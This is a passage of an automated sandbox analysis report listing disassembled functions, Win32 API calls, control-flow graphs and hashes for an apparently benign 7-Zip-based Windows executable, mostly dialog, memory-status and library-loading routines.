                                                                                                                                                                                                                                                                    • SetWindowTextW.USER32(?,?), ref: 004139EC
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,0000101E,00000000,0000FFFF), ref: 00413A32
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,0000101E,00000001,0000FFFF), ref: 00413A43
                                                                                                                                                                                                                                                                      • Part of subcall function 004137EF: GetDlgItem.USER32(000000FF,00000F42), ref: 00413803
                                                                                                                                                                                                                                                                      • Part of subcall function 004137EF: ShowWindow.USER32(00000000,00000000,?,?,000003E8,0041439B,00000001,?,?,00000000,000003E8), ref: 0041381A
                                                                                                                                                                                                                                                                      • Part of subcall function 004137EF: GetDlgItem.USER32(000000FF,0000007E), ref: 00413821
                                                                                                                                                                                                                                                                      • Part of subcall function 004137EF: ShowWindow.USER32(00000000,00000000,?,?,000003E8,0041439B,00000001,?,?,00000000,000003E8), ref: 00413825
                                                                                                                                                                                                                                                                      • Part of subcall function 004137EF: GetDlgItem.USER32(000000FF,00000065), ref: 0041382C
                                                                                                                                                                                                                                                                      • Part of subcall function 004137EF: ShowWindow.USER32(00000000,00000000,?,?,000003E8,0041439B,00000001,?,?,00000000,000003E8), ref: 00413830
                                                                                                                                                                                                                                                                      • Part of subcall function 00405B42: GetDlgItem.USER32(?,?), ref: 00405B4E
                                                                                                                                                                                                                                                                      • Part of subcall function 00405B42: GetWindowRect.USER32(00000000,?), ref: 00405B59
                                                                                                                                                                                                                                                                      • Part of subcall function 00405C3B: GetWindowRect.USER32(?,?), ref: 00405C61
                                                                                                                                                                                                                                                                      • Part of subcall function 00405C3B: ShowWindow.USER32(?,00000003), ref: 00405CD2
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000003F0), ref: 00413A83
                                                                                                                                                                                                                                                                    • ShowWindow.USER32(00000000,00000000), ref: 00413A8E
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,0000006E), ref: 00413A95
                                                                                                                                                                                                                                                                    • ShowWindow.USER32(00000000,00000000), ref: 00413A9A
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,00000F41), ref: 00413AA4
                                                                                                                                                                                                                                                                    • ShowWindow.USER32(00000000,00000000), ref: 00413AA9
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,0000007D), ref: 00413AB0
                                                                                                                                                                                                                                                                    • ShowWindow.USER32(00000000,00000000), ref: 00413AB5
                                                                                                                                                                                                                                                                    • LoadIconW.USER32(?), ref: 00413AD2
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00000080,00000001,00000000), ref: 00413AE3
                                                                                                                                                                                                                                                                    • SetTimer.USER32(?,00000003,000000C8,00000000), ref: 00413AF1
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Item$Window$Show$MessageSend$Rect$CountIconLoadParentTextTickTimer
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 671334427-0
                                                                                                                                                                                                                                                                    • Opcode ID: af43552ff5a8493f3c9bd1a93695b38eb6fa125c09aa145a4bee660d35683da7
                                                                                                                                                                                                                                                                    • Instruction ID: c47ad07d866d12d27d6aaa0896320e0dba3df907130462428f857e9393e22545
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: af43552ff5a8493f3c9bd1a93695b38eb6fa125c09aa145a4bee660d35683da7
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5B817F70640B04ABD720AF26CD46FDBFBE9FF54700F00492EE6AA962E1CBB564448B54
                                                                                                                                                                                                                                                                    Function 00414BAD Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 126windowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00414BB2
                                                                                                                                                                                                                                                                      • Part of subcall function 00414124: __EH_prolog.LIBCMT ref: 00414129
                                                                                                                                                                                                                                                                      • Part of subcall function 00414124: EnterCriticalSection.KERNEL32(?,00000000), ref: 00414143
                                                                                                                                                                                                                                                                      • Part of subcall function 00414124: LeaveCriticalSection.KERNEL32(?,?,?,?), ref: 00414215
                                                                                                                                                                                                                                                                      • Part of subcall function 00414124: GetTickCount.KERNEL32 ref: 0041421B
                                                                                                                                                                                                                                                                    • SetDlgItemTextW.USER32(?,00000002,?), ref: 00414BE6
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,00000002), ref: 00414BFF
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 00414C0B
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000001BC), ref: 00414C18
                                                                                                                                                                                                                                                                    • ShowWindow.USER32(00000000,00000000), ref: 00414C1D
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000001BE), ref: 00414C2A
                                                                                                                                                                                                                                                                    • ShowWindow.USER32(00000000,00000000), ref: 00414C30
                                                                                                                                                                                                                                                                      • Part of subcall function 00414D43: __EH_prolog.LIBCMT ref: 00414D48
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(?), ref: 00414C61
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(?,?,?,?), ref: 00414C97
                                                                                                                                                                                                                                                                    • MessageBoxW.USER32(?,?,?,00000000), ref: 00414CFC
                                                                                                                                                                                                                                                                    • KiUserCallbackDispatcher.NTDLL(?,00000000), ref: 00414D24
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalItemSection$H_prolog$EnterLeaveMessageShowWindow$CallbackCountDispatcherSendTextTickUserfree
                                                                                                                                                                                                                                                                    • String ID: 7-Zip
                                                                                                                                                                                                                                                                    • API String ID: 4254867592-40562396
                                                                                                                                                                                                                                                                    • Opcode ID: d3d4ddfcc12f3fbfdbf94dba1d0a4ff2bf2914aa10f20094b41b3b7e9eb8117c
                                                                                                                                                                                                                                                                    • Instruction ID: 237e3a7d0ea10e44b08da3b6e4d5ae36dead6a2bd56d09d374ef8f8a3a121285
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d3d4ddfcc12f3fbfdbf94dba1d0a4ff2bf2914aa10f20094b41b3b7e9eb8117c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BC419331A00258EFEF21AFA4DD89BEDBBB5EF44304F44402EF101661A1DBB91D95CB59
                                                                                                                                                                                                                                                                    Function 0042769C Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 277 42769c-427711 __set_app_type __p__fmode __p__commode call 42782d 280 427713-42771e __setusermatherr 277->280 281 42771f-427776 call 427818 _initterm __getmainargs _initterm 277->281 280->281 284 4277b2-4277b5 281->284 285 427778-427780 281->285 286 4277b7-4277bb 284->286 287 42778f-427793 284->287 288 427782-427784 285->288 289 427786-427789 285->289 286->284 291 427795-427797 287->291 292 427799-4277aa GetStartupInfoA 287->292 288->285 288->289 289->287 290 42778b-42778c 289->290 290->287 291->290 291->292 293 4277ac-4277b0 292->293 294 4277bd-4277bf 292->294 295 4277c0-4277ed GetModuleHandleA call 401a03 exit _XcptFilter 293->295 294->295
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
                                                                                                                                                                                                                                                                    • String ID: L C
                                                                                                                                                                                                                                                                    • API String ID: 801014965-4237334846
                                                                                                                                                                                                                                                                    • Opcode ID: cd8d79f4a802a0c7aaad12ed98ae0e4449e22e1edcdcd8c7f73c9f972893e11c
                                                                                                                                                                                                                                                                    • Instruction ID: 65a79e937a3fa79c6ce182de48714b49eeef324b0e6bc1d38e17f3732c729166
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cd8d79f4a802a0c7aaad12ed98ae0e4449e22e1edcdcd8c7f73c9f972893e11c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B441D6B1E04318AFCB249FA4EC49AAA7BB8FB09710FA0012FF541933A1D7785841CF58
                                                                                                                                                                                                                                                                    Function 00401039 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 459comCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 298 401039-4010c8 call 4272c0 OleInitialize call 401993 call 4025a5 * 2 call 41733a GetCommandLineW call 4025e8 call 401deb call 4020c6 315 4010d3-4010d8 298->315 316 4010ca-4010ce call 401af9 298->316 318 401153-40118a call 4025a5 call 4038f6 call 4025a5 call 403cf2 315->318 319 4010da-4010e6 315->319 316->315 348 4011b1-4011c2 call 40209f 318->348 349 40118c-401198 call 41006e 318->349 320 4010e8-4010ee 319->320 321 40114d-401151 319->321 320->321 323 4010f0-4010f8 320->323 321->318 321->319 325 401103-401107 323->325 326 4010fa-4010fe 323->326 329 401118-40111c 325->329 330 401109-401110 325->330 326->325 328 401100 326->328 328->325 335 40113b-40113f 329->335 336 40111e-401139 call 4026e4 call 404900 329->336 332 401116 330->332 333 40119d-4011ac call 41006e 330->333 332->321 347 4015a4-4015d1 call 411a11 call 4020c6 * 2 333->347 335->321 340 401141-401148 call 4026e4 335->340 336->321 340->321 360 4011c4-4011cd call 4016bf 348->360 361 4011cf 348->361 358 4012c1-4012c3 349->358 364 40158d 358->364 362 4011d1-4011dd 360->362 361->362 367 4011e5-4011f2 call 40da98 362->367 368 4011df-4011e1 362->368 366 40158e-4015a3 call 4020c6 * 2 364->366 366->347 376 401200-401214 call 40209f 367->376 377 4011f4-4011fb call 401000 367->377 368->367 384 401221 376->384 385 401216-40121f call 4017f6 376->385 383 4012b3-4012b9 377->383 383->358 387 4012bb-4012bd 383->387 386 401223-40122c 384->386 385->386 389 401234-40127f call 411df6 call 402748 call 401762 call 4025a5 call 403d99 386->389 390 40122e-401230 386->390 387->358 402 401281-4012ab call 41006e call 4020c6 * 2 389->402 403 4012c8-4012ce 389->403 390->389 402->383 418 4012ad-4012af 402->418 405 4012d0 403->405 406 4012d3-4013bf call 402748 call 41733a * 2 call 401ab2 * 2 call 401641 call 4025e8 call 403320 call 4020c6 call 41733a call 415c4b 403->406 405->406 434 4013c4-4013e8 call 401bf3 call 4020c6 406->434 418->383 439 4014b2-4014b8 434->439 440 4013ee-4013f1 434->440 443 401517-40151a 439->443 444 4014ba-401508 call 401671 call 411a11 * 2 call 4020c6 * 2 call 40747f 439->444 441 4013f3-4013f6 440->441 442 4013f8-40143d call 401671 call 411a11 * 2 call 4020c6 * 2 440->442 441->442 445 40144e-401493 call 401671 call 411a11 * 2 call 4020c6 * 2 441->445 500 401443-401449 442->500 501 40157d-401583 442->501 447 401520-401523 443->447 448 4015d7-4015de 443->448 514 401510-401515 444->514 515 40150a-40150c 444->515 505 401495-401497 445->505 506 40149b-4014a1 445->506 452 4015d2 call 401000 447->452 453 401529-401530 call 41006e 447->453 455 4015e4-401632 call 401671 call 411a11 * 2 call 4020c6 * 2 call 40747f 448->455 456 401535-401578 call 401671 call 411a11 * 2 call 4020c6 * 2 call 40747f 448->456 452->448 453->456 520 401634-401636 455->520 521 40163a-40163c 455->521 456->501 500->501 510 401585-401587 501->510 511 40158b 501->511 505->506 506->366 512 4014a7-4014ad 506->512 510->511 511->364 512->366 514->366 515->514 520->521 521->364
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0040103E
                                                                                                                                                                                                                                                                    • OleInitialize.OLE32(00000000), ref: 0040104E
                                                                                                                                                                                                                                                                      • Part of subcall function 00401993: LoadLibraryW.KERNELBASE(comctl32.dll,00000000,?,?,?,0040105E,?,00000000), ref: 0040199D
                                                                                                                                                                                                                                                                      • Part of subcall function 00401993: GetProcAddress.KERNEL32(00000000,DllGetVersion), ref: 004019B1
                                                                                                                                                                                                                                                                      • Part of subcall function 00401993: memset.MSVCRT ref: 004019C4
                                                                                                                                                                                                                                                                      • Part of subcall function 00401993: FreeLibrary.KERNELBASE(00000000,?,?,?,?,0040105E,?,00000000), ref: 004019ED
                                                                                                                                                                                                                                                                    • GetCommandLineW.KERNEL32(?,00000000), ref: 0040109A
                                                                                                                                                                                                                                                                      • Part of subcall function 00401DEB: __EH_prolog.LIBCMT ref: 00401DF0
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                      • Part of subcall function 0040209F: malloc.MSVCRT ref: 004020A5
                                                                                                                                                                                                                                                                      • Part of subcall function 0040209F: _CxxThrowException.MSVCRT(?,0042D020), ref: 004020BF
                                                                                                                                                                                                                                                                      • Part of subcall function 004017F6: __EH_prolog.LIBCMT ref: 004017FB
                                                                                                                                                                                                                                                                      • Part of subcall function 00401671: __EH_prolog.LIBCMT ref: 00401676
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$Library$AddressCommandExceptionFreeInitializeLineLoadProcThrowfreemallocmemset
                                                                                                                                                                                                                                                                    • String ID: Bad command$Error 1329484$Error 1329485$Error in archive$comctl32.dll
                                                                                                                                                                                                                                                                    • API String ID: 950025763-3158529442
                                                                                                                                                                                                                                                                    • Opcode ID: 18dea35d881254a86cc4960ef2e846010f3d6c4cb8351c036fe59b66b19d6c2e
                                                                                                                                                                                                                                                                    • Instruction ID: ca2ba2a3e9033967973ebefb642e63e7141cb19fadaa7520f216493311129709
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 18dea35d881254a86cc4960ef2e846010f3d6c4cb8351c036fe59b66b19d6c2e
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1802A330C05248EECF25EBA4D945BDDBBB4AF15304F1440AFE146772E2DB781A84DB29
                                                                                                                                                                                                                                                                    Function 004058D5 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 47libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 522 4058d5-405908 GetModuleHandleW GetProcAddress 523 405935-40594c GlobalMemoryStatus 522->523 524 40590a-405912 GlobalMemoryStatusEx 522->524 525 405951-405953 523->525 526 40594e 523->526 524->523 527 405914-40591d 524->527 528 405957-40595b 525->528 526->525 529 40592b 527->529 530 40591f 527->530 533 40592e-405933 529->533 531 405921-405924 530->531 532 405926-405929 530->532 531->529 531->532 532->533 533->528
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetModuleHandleW.KERNEL32(kernel32.dll,GlobalMemoryStatusEx), ref: 004058F9
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00405900
                                                                                                                                                                                                                                                                    • GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 0040590E
                                                                                                                                                                                                                                                                    • GlobalMemoryStatus.KERNEL32(?), ref: 00405940
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: GlobalMemoryStatus$AddressHandleModuleProc
                                                                                                                                                                                                                                                                    • String ID: $@$GlobalMemoryStatusEx$kernel32.dll
                                                                                                                                                                                                                                                                    • API String ID: 180289352-802862622
                                                                                                                                                                                                                                                                    • Opcode ID: 5284d998541766e7541bad290797f0052b35c532fb70d4a4ac19be2f4d4da570
                                                                                                                                                                                                                                                                    • Instruction ID: ff1a26d37801495f120f67b56b7c0cb8edb97b528cb8e9a2a0b1df0e13f3b084
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5284d998541766e7541bad290797f0052b35c532fb70d4a4ac19be2f4d4da570
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1F113CB4A00709DBCB20DF90D989B9FBBF5EB04311F504429E542B7280D778A944CF58
                                                                                                                                                                                                                                                                    Function 00401993 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 534 401993-4019a8 LoadLibraryW 535 4019f4-4019f8 534->535 536 4019aa-4019bb GetProcAddress 534->536 537 4019ea-4019f3 FreeLibrary 536->537 538 4019bd-4019db memset 536->538 537->535 538->537 540 4019dd-4019e8 538->540 540->537
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • LoadLibraryW.KERNELBASE(comctl32.dll,00000000,?,?,?,0040105E,?,00000000), ref: 0040199D
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,DllGetVersion), ref: 004019B1
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 004019C4
                                                                                                                                                                                                                                                                    • FreeLibrary.KERNELBASE(00000000,?,?,?,?,0040105E,?,00000000), ref: 004019ED
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Library$AddressFreeLoadProcmemset
                                                                                                                                                                                                                                                                    • String ID: DllGetVersion$comctl32.dll
                                                                                                                                                                                                                                                                    • API String ID: 2465613599-3857068685
                                                                                                                                                                                                                                                                    • Opcode ID: 40672d7ffa8d301bc3a38f07a5385663c894116bcdc70e5860aea5fc694db97f
                                                                                                                                                                                                                                                                    • Instruction ID: cd49612ea807ff4026ce7b9169423b6450f9289fb122be8fa6e2906ebbe325b2
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 40672d7ffa8d301bc3a38f07a5385663c894116bcdc70e5860aea5fc694db97f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 69F062B1A0021DABDB106BE9DC8A9AF77BCEB04744F900436F601E31A0E774C945D6B8
                                                                                                                                                                                                                                                                    Function 004137EF Relevance: 9.0, APIs: 6, Instructions: 35COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(000000FF,00000F42), ref: 00413803
                                                                                                                                                                                                                                                                    • ShowWindow.USER32(00000000,00000000,?,?,000003E8,0041439B,00000001,?,?,00000000,000003E8), ref: 0041381A
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(000000FF,0000007E), ref: 00413821
                                                                                                                                                                                                                                                                    • ShowWindow.USER32(00000000,00000000,?,?,000003E8,0041439B,00000001,?,?,00000000,000003E8), ref: 00413825
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(000000FF,00000065), ref: 0041382C
                                                                                                                                                                                                                                                                    • ShowWindow.USER32(00000000,00000000,?,?,000003E8,0041439B,00000001,?,?,00000000,000003E8), ref: 00413830
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ItemShowWindow
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3351165006-0
                                                                                                                                                                                                                                                                    • Opcode ID: 64832d24a414e6d06aaa9f7b69a18a0c4dc5769e0a771ea220e0ad29ba3e24bd
                                                                                                                                                                                                                                                                    • Instruction ID: e34129ecb20a930ca08e7f8573c067670e1cf7eb67d0aa8b2d1b4524c1aa6d7f
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 64832d24a414e6d06aaa9f7b69a18a0c4dc5769e0a771ea220e0ad29ba3e24bd
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 70E0927160420C3BE6206B62DD5AD7BBF9DDF82B99B42443AF64492160CAA6BC108674
                                                                                                                                                                                                                                                                    Function 0040EE36 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 260COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 868 40ee36-40ee60 call 4272c0 871 40ee62-40ee6c call 40209f 868->871 872 40ee8f-40ee92 868->872 880 40ee79 871->880 881 40ee6e-40ee77 871->881 874 40ee98-40eea9 call 40209f 872->874 875 40ef2a-40ef2d call 40ebbf 872->875 886 40eeb7 874->886 887 40eeab-40eeb5 call 406414 874->887 879 40ef32-40ef3e 875->879 883 40f114-40f11d 879->883 884 40ef44-40ef48 879->884 885 40ee7b-40ee8a call 407458 880->885 881->885 891 40f125-40f12e 883->891 892 40f11f-40f121 883->892 884->883 889 40ef4e-40ef52 884->889 885->875 888 40eeba-40eeea call 407458 call 402748 call 404763 886->888 887->888 917 40eeec-40eefd GetLastError 888->917 918 40ef1d-40ef23 888->918 889->883 896 40ef58-40ef5c 889->896 898 40f130-40f132 891->898 899 40f136 891->899 892->891 902 40ef67-40ef70 896->902 903 40ef5e-40ef61 896->903 898->899 900 40f138-40f146 899->900 905 40f0b5-40f0be 902->905 906 40ef76-40ef92 call 4021d1 902->906 903->883 903->902 908 40f0c0-40f0c2 905->908 909 40f0c6-40f0cf 905->909 906->905 916 40ef98-40efbb call 4084a4 906->916 908->909 912 40f0d1-40f0d3 909->912 913 40f0d7-40f0da 909->913 912->913 913->900 925 40efc1-40efd9 call 4021d1 916->925 926 40f0ac-40f0b4 call 4020c6 916->926 920 40ef05-40ef0e 917->920 921 40eeff-40ef01 917->921 918->875 923 40ef10-40ef12 920->923 924 40ef16-40ef18 920->924 921->920 923->924 924->900 931 40f09b-40f0a6 925->931 932 40efdf-40f044 call 402678 call 401dbd call 40f1ae call 40292d call 4020c6 call 402748 call 402969 call 40f188 925->932 926->905 931->925 931->926 949 40f046-40f05d call 402748 call 40f188 932->949 950 40f05f-40f06e call 404763 932->950 949->950 957 40f08e-40f09a call 4020c6 949->957 956 40f070-40f08c call 40e23b call 40ebbf 950->956 950->957 956->957 965 40f0dc-40f0f7 call 4020c6 * 2 956->965 957->931 970 40f0f9-40f0fb 965->970 971 40f0ff-40f108 965->971 970->971 972 40f110-40f112 971->972 973 40f10a-40f10c 971->973 972->900 973->972
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0040EE3B
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,?,00000000,00000013,?), ref: 0040EEEC
                                                                                                                                                                                                                                                                      • Part of subcall function 0040209F: malloc.MSVCRT ref: 004020A5
                                                                                                                                                                                                                                                                      • Part of subcall function 0040209F: _CxxThrowException.MSVCRT(?,0042D020), ref: 004020BF
